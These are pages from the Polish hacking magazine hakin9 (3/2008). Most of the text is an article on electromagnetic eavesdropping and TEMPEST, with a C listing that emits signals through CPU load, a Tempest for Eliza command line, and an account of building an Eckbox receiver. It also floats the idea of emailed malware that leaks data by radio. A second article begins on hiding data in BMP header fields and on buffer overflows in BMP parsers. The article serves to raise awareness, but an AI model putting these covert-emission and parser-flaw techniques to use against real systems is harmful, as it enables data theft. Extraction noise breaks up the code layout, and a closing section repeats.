samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem
systemów informatycznych. l
Rysunek 9.
Obraz odbierany przez kolejny układ (HI2302)
O autorze
Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym.
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl
Rysunek 8.
Wynik pracy urządzenia i programu Eckbox
www.hakin9.org
hakin9 Nr 3/2008
22
Atak
E
misja ujawniająca (ang. compromising
emanation), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-
stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm jest zjawiskiem bardzo przydat-
nym, to w przypadku emisji ujawniającej jest
dokładnie odwrotnie. Każdy podzespół kom-
putera, przetwarzając dane, emituje część
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.
Fakty czy mity
W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.
Jest to jedyny projekt open source teo-
retycznie pozwalający wykorzystywać tech-
nikę podsłuchu elektromagnetycznego. Z
premedytacją używam słowa teoretycznie,
ponieważ nie udało mi się znaleźć potwier-
dzenia faktu działania tego urządzenia i pro-
gramu. Projekt powstał na bazie badań i ar-
tykułu napisanego przez Wima van Ecka,
holenderskiego naukowca z Neher Labora-
tories. Skonstruowane i opisane przez nie-
go urządzenie było odbiornikiem fal elektro-
magnetycznych, podłączonym do komputera
za pomocą specjalnie przerobionego odbior-
nika telewizyjnego oraz pozwalało na prze-
chwycenie informacji wyświetlanych na mo-
nitorze katodowym CRT. Było to rozwiązanie
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox jest o wiele prostszą wersją tego
rozwiązania – co wcale nie musi oznaczać, że
mniej funkcjonalną. Autorzy projektu napisali
Podsłuch
elektromagnetyczny
Grzegorz Błoński
stopień trudności
W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten
szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń
podsłuchowych, mini-nadajników zwanych pluskwami – lecz to
nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.
Nie należy zapominać, że podsłuchać można nie tylko człowieka,
ale także komputer i to, co w nim najcenniejsze dla właściciela.
Z artykułu dowiesz się
• co to jest emisja ujawniająca,
• co to jest ulot elektromagnetyczny,
• czy można wykorzystać te zjawiska do podsłu-
chiwania.
Co powinieneś wiedzieć
• znać podstawy zjawiska elektromagnetyzmu,
• znać system Linux i umieć pracować w konsoli,
• umieć posługiwać się lutownicą,
• znać podstawy budowy układów elektronicznych.
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
23
program, który – korzystając z por-
tu równoległego w komputerze PC
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony
do komputera za pomocą specjal-
nego interfejsu wykorzystującego
przetwornik analogowo-cyfrowy.
Problem ulotu elektromagne-
tycznego dotyczy każdego urzą-
dzenia komputerowego, a mimo to
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa swoim wrażliwym da-
nym. W agencjach i instytucjach
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane
do utrzymania określonych informa-
cji w ścisłej tajemnicy.
W USA powstał w latach sześć-
dziesiątych projekt nazwany TEM-
PEST (Transient ElectroMagnetic
Pulse Emanation STandard), któ-
ry określa dopuszczalne poziomy
niepożądanych emisji fal elektro-
magnetycznych. Projekt uwzględ-
nia trzy klasy (poziomy) bezpie-
czeństwa:
• Level 1 – AMSG 720 B,
• Level 2 – AMSG 788,
• Level 3 – AMSG 784.
Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST są sprzedawane na terenie
państw członkowskich NATO. Jed-
nak, aby móc takie urządzenie na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.
Po dokładniejsze informacje na
temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.
Technikalia
Rozpatrując możliwości podsłu-
chania komputera przy wykorzy-
staniu kompromitujących emana-
cji, mamy możliwość zastosowa-
nia technik inwazyjnych oraz nie-
inwazyjnych.
Techniki inwazyjne mogą opierać
się na wstrzyknięciu w system-ofia-
rę oprogramowania, działającego
w taki sposób, że bez wiedzy użyt-
kownika będzie wykorzystywało
układy elektroniczne komputera ja-
ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.
Przykładem wykorzystania ta-
kiej techniki jest program au-
torstwa Erika Thiele, nazwa-
ny dźwięcznie Tempest for Eliza
(http://www.erikyyy.de/tempest).
Program ten pozwala – przy wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-
łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.
Do wydania odpowiedniej ko-
mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:
• częstotliwość rysowania piksela
(Pixel Clock),
Listing 1.
Program tempest-cpu autorstwa Berke Duraka
#include
<stdlib.h>
#include
<stdio.h>
typedef
unsigned
char
u8
;
#define BUF_SIZE (1<<18)
void
tempest_cpu_pattern
(
int
count
,
volatile
int
*
buf
,
int
a
,
int
b
)
{
int
i
,
j
;
int
x1
,
x2
,
x3
,
x4
;
x1
=
0
;
x2
=
0
;
x3
=
0
;
x4
=
0
;
i
=
0
;
while
(
count
--)
{
for
(
j
=
0
;
j
<
a
;
j
++)
{
x1
^
=
0x55330fff
+
i
;
x1
<<=
1
;
buf
[
i
]
=
x1
;
if
(++
i
==
BUF_SIZE
)
i
=
0
;
}
for
(
j
=
0
;
j
<
b
;
j
++)
{
asm
(
"nop"
);
/* this instruction is available on nearly every CPU :
) */
}
}
}
int
main
(
int
argc
,
char
**
argv
)
{
int
count1
,
count2
;
int
a1
,
b1
;
int
a2
,
b2
;
int
*
c
;
int
a
,
b
;
if
(
argc
!=
7
)
{
fprintf
(
stderr
,
"usage: %s a_low b_low a_high b_high count_low
count_high
\n
"
);
exit
(
EXIT_FAILURE
);
}
a1
=
atoi
(
argv
[
1
]);
b1
=
atoi
(
argv
[
2
]);
a2
=
atoi
(
argv
[
3
]);
b2
=
atoi
(
argv
[
4
]);
count1
=
atoi
(
argv
[
5
]);
count2
=
atoi
(
argv
[
6
]);
c
=
malloc
(
BUF_SIZE
*
sizeof
(
int
));
for
(;;)
{
for
(
a
=
a1
,
b
=
b1
;
a
<
a2
&&
b
<
b2
;
a
+=
(
a2
-
a1
)
>>
4
,
b
+=
(
b2
-
b1
)
>>
4
)
{
tempest_cpu_pattern
(
count1
,
c
,
a
,
b
);
}
}
return
0
;
}
hakin9 Nr 3/2008
www.hakin9.org
Atak
24
• rozdzielczość pozioma (HDi-
splay),
• rozdzielczość pionowa (VDi-
splay),
• całkowita rozdzielczość pozioma
(HTotal).
Po wydaniu przykładowego pole-
cenia:
#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars
program użyje wartości 108MHz
jako częstotliwości rysowania pik-
sela, rozdzielczości okna 1280 x
1024 oraz wartości HTotal równej
1688 pikseli. Kolejne parametry to
10MHz (jako częstotliwość nośna,
na której będzie emitowany dźwięk)
i wreszcie ścieżka do pliku dźwię-
kowego. Na ekranie monitora po-
jawi się dynamicznie zmieniający
się obraz czarno-białych linii pozio-
mych, których grubość i szybkość
zmian uwarunkowana jest odtwa-
rzanym z pliku dźwiękiem.
Dźwięki emitowane przez moni-
tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym odbiorniku radiowym
w zakresie fal krótkich w okolicach
częstotliwości 10MHz nadawa-
ny dźwięk bardzo dobrze słychać.
Oprócz tej częstotliwości odebra-
łem emitowane dźwięki za pomocą
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455
MHz, 26,755 MHz, 27,755 MHz oraz
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej
z wymienionych częstotliwości. Od-
ległość anteny wynosiła początko-
wo jeden metr – w tych warunkach
siła sygnału była na poziomie 3µV
do 6µV (według wskazań transce-
ivera Zodiac Tokyo), bez względu
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła
sygnału spadła do poziomu 0,39µV.
Dźwięki nadal były słyszalne, lecz
towarzyszyły im wyraźne szumy,
których intensywność zmieniała się
w zależności od polaryzacji anteny.
Podczas pomiarów używałem ante-
ny MagLoop.
Przy okazji tych eksperymentów
odkryłem, że podłączone do kom-
putera urządzenia typu KVM (Key-
board Video Mouse) w trakcie te-
stów emitują tak silnie wzmocnione
sygnały z karty graficznej, że bez
problemu mogłem odebrać czyste,
słyszalne dźwięki w pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła sygnału była tak duża, że wskaź-
nik transceivera Zodiac Tokyo wska-
zywał 50µV! Sugeruje to, że sygnał
mógł być swobodnie odebrany w bar-
dzo dużej odległości, przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów.
W związku z tym faktem uwa-
żam, że używanie przełączników
KVM w systemach komputerowych
zawierających dane tajne lub wraż-
liwe jest bardzo ryzykowne. Prze-
łącznik, którego używałem, to dzie-
ło firmy D-link (model DKVM-2K)
który, jako urządzenie pozwalają-
ce na korzystanie z jednego ze-
stawu klawiatury, myszy i monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym
przeznaczeniem. Bardzo możliwe,
że jest na rynku sporo przełączni-
ków pozbawionych takiej przypa-
dłości. Jednak tak czy inaczej, za-
nim ktoś zechce użyć jakiegokol-
wiek przełącznika, powinien się za-
stanowić nad niechcianym dodat-
kiem w postaci dużej emisji niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.
Erik Thiele bazował przy pracy
nad swoim programem na innym
projekcie (autorstwa Pekki Riiko-
nena), który potrafił tylko emitować
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło już więcej programów wykorzy-
stujących zjawisko niepożądane-
go ulotu elektromagnetycznego
w komputerach. Autorem kilku ta-
kich narzędzi jest Berke Durak
(http://abaababa.ouvaton.org/tem-
pest). Jego programy wykorzystu-
ją do ukrytej transmisji danych dro-
gą radiową zarówno wewnętrzne,
jak i zewnętrzne podzespoły kom-
putera.
Pierwszym programem Ber-
ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-
Rysunek 2.
Ekran monitora podczas pracy programu Tempest for Eliza
Rysunek 1.
Rozkład pola
elektromagnetycznego wokół
odcinka przewodnika prądu
�������������
��������������������
������������������
�����
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
25
pest-cpu. Program działający w linii
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj
przesyłanych dźwięków, wysokość
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko
wykryta. Jest jednak dobrym przy-
kładem potwierdzającym fakt ist-
nienia zjawiska ulotu elektromagne-
tycznego. Procesor emituje niezbyt
silne pole elektromagnetyczne, jed-
nak jest ono możliwe do odebrania
w odległości do dwóch metrów przy
pomocy zwykłego radioodbiornika
na fale długie, przy czym odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje
pochodzące od innych pracujących
w komputerze podzespołów.
Kolejny program tempest-crt tego
samego autora wykorzystuje – po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz
tempest-mem – wykorzystują ja-
ko nadajnik odpowiednio szynę PCI
(i urządzenia na niej pracujące) oraz
pamięć operacyjną. Ich przydatność
do wykorzystania w ataku jest rów-
nież niewielka, ponieważ pole elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo
słabsze niż wytwarzane przez mo-
nitory (w szczególności CRT, choć
LCD także charakteryzują się dość
pokaźnym niepożądanym ulotem).
W tym momencie należy wspo-
mnieć, że urządzenia pracujące na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach serwerowych – także
emitują dość silne pola elektroma-
gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.
Programy Duraka są niezaprze-
czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-
przez zastosowanie odpowiedniego
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy
programów Duraka, teoretycznie
może napisać aplikację, która po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej modyfikacji programu
Rysunek 3.
Transceiver Zodiac
Tokyo w czasie odbierania sygnału
Rysunek 4.
Program Tempest for Eliza po zakończeniu pracy
Rysunek 5.
Widok zmontowanego urządzenia
hakin9 Nr 3/2008
www.hakin9.org
Atak
26
można go dodać jako załącznik do
maila, który automatycznie się uru-
chomi, jeśli nieuważny internauta
w niego kliknie. Choć dotychczas
nie ujawniono wirusa czy innego
złośliwego kodu wykorzystujące-
go taką technikę do przechwycenia
informacji, uważam, że zagrożenie
związane z takimi atakami jest dość
duże. Całkiem możliwe, że już ktoś
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie
wiemy.
Techniki nieinwazyjne – jak su-
geruje nazwa – nie zmuszają nas
do wstrzykiwania kodu programu
do komputera-ofiary. Nieinwazyj-
ność tych metod polega na wyko-
rzystaniu niepożądanej emisji elek-
tromagnetycznej generowanej stan-
dardowo przez urządzenia kompu-
terowe. Prekursorem w tej dziedzi-
nie – a jednocześnie naukowcem,
który upublicznił informacje o moż-
liwości podsłuchu elektromagne-
tycznego – był wcześniej wspo-
mniany Wim van Eck.
Podsłuchiwać możemy przeróż-
ne sygnały emitowane przez wie-
le podzespołów komputerowych
– od urządzeń komunikujących się
z komputerem bezprzewodowo, ta-
kich jak myszy, klawiatury, drukar-
ki itp., aż po te, które są połączone
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć
zasilających w zasilaczach kom-
puterowych część informacji mo-
że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.
W roku 1990 Peter Smulders
opublikował wyniki badań nad prze-
chwytywaniem informacji z ulotu
elektromagnetycznego kabli łączą-
cych interfejsy RS-232, na podsta-
wie których możemy przypuszczać,
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo, jest narażony na podsłu-
chanie.
Budujemy urządzenie
W związku z tym, że najsilniejsze
sygnały emitowane są przez mo-
nitory CRT, a zaraz po nich LCD,
postanowiłem przeprowadzić wła-
sne badania, budując odpowiednie
urządzenie. Zaczerpnąłem podsta-
wowe informacje ze strony projektu
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika radiowego czy też innego
transceivera, którym będę próbo-
wać odebrać sygnały emitowane
przez monitory testowe.
Rozpoczynając pracę nad bu-
dową pierwszego układu, podcho-
dziłem do całej sprawy nieco scep-
tycznie – jednak z odrobiną na-
dziei, że się uda. Do swojego eks-
perymentu wykorzystałem odbior-
nik radiowy w zakresie pasma fal
długich, krótkich oraz UKF, a także
transceiver Zodiac Tokyo, pracują-
cy w zakresie 25-29MHz. Nasłuchy
prowadziłem w modulacji AM oraz
FM. Jak wiemy, sygnały nadawane
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi częstotliwości nośnej. Liczyłem
więc, że gdzieś w końcu usłyszę
i zobaczę to, co chcę.
Na Rysunku 6. widać schemat
blokowy połączeń poszczególnych
elementów zestawu.
W swoim eksperymencie wyko-
rzystywałem radioodbiornik wypo-
sażony w standardową antenę fer-
rytową oraz zewnętrzną telesko-
pową. Oprócz tego w przypadku
transceivera Zodiac Tokyo korzy-
Rysunek 6.
Eksperymentalny zestaw do podsłuchu elektromagnetycznego
(Eckbox)
����������
����������������������
������
�������������������������
������
���������������
�����������������
���������������
Rysunek 7.
Schemat ideowy urządzenia Eckbox
���
�����
���
�
����
�
�������������������������
��
��
��
�
�����������������
�����
����
�����
�����������������������
�����������������������
��
��
��
��
��
��
��
��
�
�
�
�
�
�
�
�
�
��
��
��
��
��
��
��
��
��
��
���
��
��
��
������
����
����
����
�����
��
�
��
�
��
�
��
�
��
�
��
�
��
�
��
�
�
���
��
�
��
����
�
��
����
��
Podsłuch elektromagnetyczny
hakin9 Nr 3/2008
www.hakin9.org
27
stałem z anteny dookólnej pętlowej
LoopSkywire oraz anteny kierunko-
wej MagLoop własnej konstrukcji.
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.
Do zbudowania interfejsu urzą-
dzenia dla portu LPT (według infor-
macji ze strony http://eckbox.source-
forge.net), potrzebujemy układu sca-
lonego do konwersji sygnału analogo-
wego z odbiornika radiowego na sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie
przetwornika analogowo-cyfrowego o
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym.
Układy scalone, które można wyko-
rzystać do tego celu, są dostępne
w każdym lub prawie każdym sklepie
z podzespołami elektronicznymi.
Dodatkowo będziemy potrzebo-
wali kilku rezystorów, kondensatorów
i diod. Przeszukując sklepy natrafiłem
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie parametry elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam
schemat układu, który zbudowałem,
korzystając z informacji zawartych
w nocie aplikacyjnej układu ADC0804
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.
Po zmontowaniu elektronicznej
części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.
Program eckbox po skompilowa-
niu (wraz z odpowiednimi bibliote-
kami – svgalib oraz modułem svga-
lib_helper) uruchamia się, począt-
kowo wyświetlając tylko czarny
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają się przesuwające się po-
ziome linie – co przedstawia Ry-
sunek 8.
Urządzenie nie wyświetla tego,
na co oczekiwałem, ponieważ za-
stosowany układ ADC0804 prze-
nosi sygnały o częstotliwościach
do 10 kHz. Przeoczyłem ten waż-
ny parametr podczas wyszukiwa-
nia odpowiedniego układu. Ponie-
waż w technice nieinwazyjnej za-
kładamy, że nie mamy możliwości
wymuszenia częstotliwości, na ja-
kiej monitor emituje sygnał, musi-
my próbować odebrać go na czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych (założyłem zakres od 10
do 30 MHz).
Zbudowałem więc kolejny eg-
zemplarz oparty o układ ADC, mo-
gący pracować z częstotliwościa-
mi sygnału wejściowego rzędu 18
Mhz, który teoretycznie powinien
się sprawdzić lepiej – czyli HI1175
firmy Intersil. Niestety, okazało się,
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ
powinien działać na częstotliwości
pasma radiowego FM 108MHz.
Taka częstotliwość sugeruje, że
program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock w kartach graficznych.
Dość trudne jest zdobycie ukła-
du ADC pracującego z sygnałami
wejściowymi o takich częstotliwo-
ściach.
Licząc, że uda mi się podsłu-
chać coś na częstotliwościach har-
monicznych, postanowiłem naj-
pierw zbudować kolejne ukła-
dy, umożliwiające pracę na wyż-
szych częstotliwościach. Kolejne
urządzenie, zbudowane w oparciu
o układ HI2302 (także firmy Inter-
sil), podczas pierwszych testów nie
chciało działać – czego przyczyną
okazało się zaniżone napięcie za-
silające. Ponieważ urządzenie jest
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał się nią zewnętrzny dysk twar-
dy podłączony do komputera, który
R
E
K
L
A
M
A
hakin9 Nr 3/2008
www.hakin9.org
Atak
28
pobierając prąd rzędu 500mA (czyli
maksymalny możliwy według specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na
szynie USB wróciło do poziomu 5V,
a urządzenie zaczęło pracować.
Niestety, nie powiodło mi się rów-
nież tym razem. Układ teoretycz-
nie pozwala na odbieranie sygnałów
o częstotliwości 100MHz. Program
Eckbox, pomimo tego, że wyświetlał
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.
Brak pozytywnego wyniku działa-
nia urządzenia i programu Eckbox wca-
le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.
Powodem niepowodzenia mogą
być zarówno błędy w projektowaniu
urządzenia, jak i sam program, któ-
ry ostatnich poprawek doczekał się
w roku jego powstania (2004). Od
tamtego czasu na stronie projektu nic
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić.
Podsumowanie
Po analizie pokaźnych zasobów infor-
macji na temat ulotu elektromagne-
tycznego, znajdujących się między
innymi w Internecie, oraz po przepro-
wadzonych testach programów Erika
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią,
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach
i instytucjach przetwarzających waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania
sygnałów nadawanych z premedyta-
cją – i to na niewielkie odległości, nie
można lekceważyć istoty problemu,
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych. Nieudana próba podsłuchania
emisji ujawniającej przy pomocy pro-
stych w budowie urządzeń nie prze-
czy temu, że sam fakt takiego pod-
słuchu jest możliwy. Przy odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym prawdopodobieństwem pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka
(lub nawet lepiej). Mam nadzieję, że po
przeczytaniu tego artykułu wielu admi-
nistratorów podejdzie do zagadnienia
podsłuchu elektromagnetycznego tak
samo poważnie, jak do innych proble-
mów związanych z bezpieczeństwem
systemów informatycznych. l
Rysunek 9.
Obraz odbierany przez kolejny układ (HI2302)
O autorze
Autor, Grzegorz Błoński, z wykształcenia jest informatykiem. Pracuje w dużej firmie pro-
dukcyjnej o zasięgu światowym. Zajmuje się administracją i bezpieczeństwem sieciowym.
Należy do międzynarodowych organizacji ISOC oraz ISACA, zajmujących się szeroko po-
jętym bezpieczeństwem IT.
Kontakt: mancymonek@mancymonek.pl
Rysunek 8.
Wynik pracy urządzenia i programu Eckbox
hakin9 Nr 3/2008
30
Atak
N
iniejszy artykuł ma na celu zapoznać
czytelnika z formatem przechowywa-
nia obrazu BMP, wskazać w nich miej-
sca które można wykorzystać do przemycenia
ukrytych danych, miejsca w których programi-
sta może popełnić błąd podczas implementacji
oraz zapoznać ze samym formatem. Przykła-
dy będą w miarę możliwości zilustrowane pew-
nymi bugami w istniejącym oprogramowaniu,
znalezionymi przez autora oraz inne osoby.
Wstęp do BMP
Niesławny format BMP znany jest przede
wszystkim z plików o ogromnych wielkościach
(w porównaniu do JPEG czy PNG). Format ten
stworzony został przez firmy IBM oraz Microsoft
na potrzeby systemów OS/2 oraz Windows, obie
firmy rozwijały go jednak oddzielnie, co spowo-
dowało powstanie kilku wariantów tego formatu.
Niniejszy tekst skupia się na BMP w wersji Win-
dows V3, pozostałe wersje (OS/2 V1 i V2 oraz
Windows V4 i V5) pozostawiam czytelnikowi do
własnej analizy jako zadanie domowe :).
Niezależnie od wersji, ogólna budowa pli-
ku, przedstawiona na Rysunku 1. pozostaje ta-
ka sama. Na samym początku pliku znajduje się
struktura BITMAPFILEHEADER (jest ona stała,
niezależnie od wersji) która zawiera m.in. iden-
tyfikator pliku – tzw. liczbę magiczną (ang. ma-
gic number), oraz offset na którym znajdują się
dane bitmapy. Bezpośrednio po BITMAPFILE-
HEADER, na offsecie 0Eh, znajduje się struktu-
ra BITMAPINFOHEADER (dodam że deklara-
cje omawianych struktur można znaleźć w pliku
wingdi.h w Platform SDK), która zawiera infor-
macje o obrazie, jego rozdzielczości, głębi ko-
lorów czy użytej metody kodowania/kompresji.
W przypadku bitmap o głębi 4 lub 8 bitów, za-
raz za strukturą BITMAPINFOHEADER znaj-
Format BMP okiem hakera
Michał Gynvael Coldwind Składnikiewicz
stopień trudności
Pliki graficzne są dziś szeroko rozpowszechnionym nośnikiem
informacji, spotyka się je praktycznie na każdym komputerze.
Dobry programista powinien wiedzieć jak wyglądają nagłówki
poszczególnych formatów plików graficznych, i jak są
przechowywany jest sam obraz. A jak to zwykle bywa, diabeł tkwi
w szczegółach.
Z artykułu dowiesz się
• jak zbudowany jest plik BMP,
• na co uważać podczas implementowania ob-
sługi formatu BMP,
• gdzie szukać błędów w aplikacjach korzystają-
cych z BMP.
Co powinieneś wiedzieć
• mieć ogólne pojęcie na temat plików binarnych,
• mieć ogólne pojęcie na temat bitmap.
Format BMP okiem hakera
hakin9 Nr 3/2008
www.hakin9.org
31
duje się paleta barw, którą jest od-
powiedniej wielkości tablica struktur
RGBQUAD. W przypadku bitmap o
głębi kolorów 16 bitów zamiast palety
barw w tym miejscu znajduję się pro-
sta struktura składająca się z trzech
DWORD'ów które są maskami bito-
wymi określającymi które bity w da-
nych obrazu odpowiadają za barwę,
kolejno, czerwoną, zieloną oraz nie-
bieską, natomiast w bitmapach, o głę-
bi 24 bity lub większejm paleta barw
nie występuje. Dane obrazu zaczy-
nają się na offsecie podanym w BIT-
MAPFILEHEADER, zazwyczaj od
razu po ostatnim nagłówku. Budowa
danych zależy za równo od użytego
kodowania jak i głębi kolorów.
Tak przedstawia się ogólna budo-
wa formatu BMP. Szczegółowa budo-
wa formatu BMP przedstawiona jest
w dalszej części artykułu.
Nagłówek
BITMAPFILEHEADER
Nagłówek
BITMAPFILEHEADER
(patrz Tabela 1) rozpoczyna się na
początku pliku (offset 0) i ma wielkość
14 bajtów (0Eh). Najmniej interesują-
cym polem struktury jest pierwsze po-
le – bfType, które zawsze ma wartość
odpowiadającą ciągowi ASCII BM.
Kolejnym polem jest DWORD bfSi-
ze w którym wg. specyfikacji powinna
znaleźć się całkowita wielkość pliku
w bajtach. Wielkość pliku prawidłowe-
go pliku łatwo obliczyć dodając wiel-
kości poszczególnych nagłówków,
palety barw oraz danych obrazu. To
pole stanowi pierwszą pułapkę, ale w
nią wpadają jedynie nieuważni pro-
gramiści. Rozważmy kod z Listingu 1.
- programista wczytał nagłówek, za-
ufał polu bfSize i zaalokował tyle pa-
mięci ile wg. bfSize jest potrzebne, po
czym wczytał cały plik (aż do koń-
ca) do zaalokowanego bufora. Funk-
cja działa wyśmienicie, pod warun-
kiem że wartość bfSize jest równa lub
większa od faktycznej wielkości pliku.
Jeśli wartość bfSize będzie mniejsza,
dojdzie do klasycznego błędu prze-
pełnienia bufora – który wprawny
włamywacz mógł by wykorzystać do
wykonania własnego kodu. Dobrym
pomysłem jest zignorowanie wartości
tego pola, i korzystanie jedynie z wiel-
kości pliku otrzymanej od systemu pli-
ków. Stanowcza większość aplikacji
faktycznie ignoruje to pole, co z kolei
pozwala wykorzystać je w celu ukry-
cia 32 bitów danych.
Dwa kolejne pola – bfReserved1
oraz bfReserved2 – według specyfi-
kacji powinny być wyzerowane, po-
nieważ są zarezerwowane na przy-
szłość. Póki co są jednak niewyko-
rzystywane, więc mogą posłużyć do
ukrycia kolejnych 32 bitów danych
(oba pola są WORDami, czyli mają
po 16 bitów każde). Warto zaznaczyć
iż żadna z testowanych przez auto-
ra aplikacji nie sprawdzała czy w w/w
polach faktycznie znajdują się zera.
Ostatnie pole stanowi kolejną pu-
łapkę. Pole bfOffBits, bo o nim mo-
wa, jest 32 bitową wartością bez zna-
ku (DWORD, czyli w terminologii C
jest to unsigned int) która mówi o tym
w którym miejscu pliku (a dokładniej,
od którego bajtu pliku) zaczynają się
faktyczne dane obrazu. Zdarzają się
przypadki w których to pole jest wy-
zerowane – część aplikacji w tym wy-
padku uznaje że dane obrazu znajdu-
ją się bezpośrednio za nagłówkami.
Programista implementujący obsłu-
gę BMP może popełnić kilka błędów.
Na początek najbardziej trywialny
– programista z góry zakłada że da-
ne obrazu znajdują się za nagłówka-
mi i ignoruje pole bfOffBits – tak dzia-
ło się w przypadku starszych wersji
Total Commander (na przykład 6.51,
wersje nowsze, na przykład 7.01 nie
ignorują już tego pola). Pomijając
problemy z wyświetlaniem prawidło-
wych bitmap które mają dane obra-
zu odsunięte od nagłówków, pozwa-
la to na przykład stworzyć plik BMP
który wyświetlany w Total Comman-
derze będzie prezentował inną gra-
fikę niż gdyby ten tam plik BMP po-
dać innej, prawidłowo obsługującej
pole bfOffBits, aplikacji. Taki właśnie
efekt zaprezentowany jest na Rysun-
ku 2. (użyte grafiki pochodzą z http:
//icanhascheezburger.com), dla uka-
zania efektu ten sam plik BMP poda-
no Listerowi (część Total Commande-
ra odpowiedzialna za podgląd plików)
oraz IrfanView 4.10. Należy zazna-
czyć iż plik jest oczywiście dwa razy
większy niż byłby normalnie (ponie-
waż zawiera dwa obrazki).
